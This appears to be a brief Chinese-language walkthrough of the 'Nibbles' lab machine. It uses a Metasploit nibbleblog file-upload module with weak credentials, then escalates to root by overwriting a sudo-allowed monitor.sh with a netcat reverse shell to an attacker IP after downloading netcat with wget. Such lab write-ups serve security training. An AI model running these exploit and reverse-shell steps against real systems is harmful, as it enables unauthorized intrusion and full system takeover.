Nibbles(sudo no pass )

文件上传获得shell

1
2
3
4
5
6
7
8
use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.10.10.75
set USERNAME admin
set PASSWORD nibbles
set TARGETURI /nibbleblog
run

获得meterpreter shell

提权

参考以前做过的方式
LTR Scene(php写入一句话+sudoer提权)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/usr/bin/python3.5 -c 'import pty; pty.spawn("/bin/bash")'
uname -a 说明64位linux

sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh


whereis nc


cd /home/nibbler/personal/stuff/
wget http://10.10.14.7:800/netcat-64
chmod a+x netcat-64
kali : nc -lnvp 9900
echo '#!/bin/bash' > monitor.sh
echo "./netcat-64 -e /bin/bash 10.10.14.7 9900" >> monitor.sh
chmod a+x monitor.sh
sudo ./monitor.sh

方法二:

不必上传netcat。

monitor.sh

1
bash -i

运行sudo ./monitor.sh后,本地即可从nibbler到root

总结

一般来说,黑名单限制登陆,是不允许暴力破解的。

但是这个靶机用的是弱密码,=。=

这就很尴尬了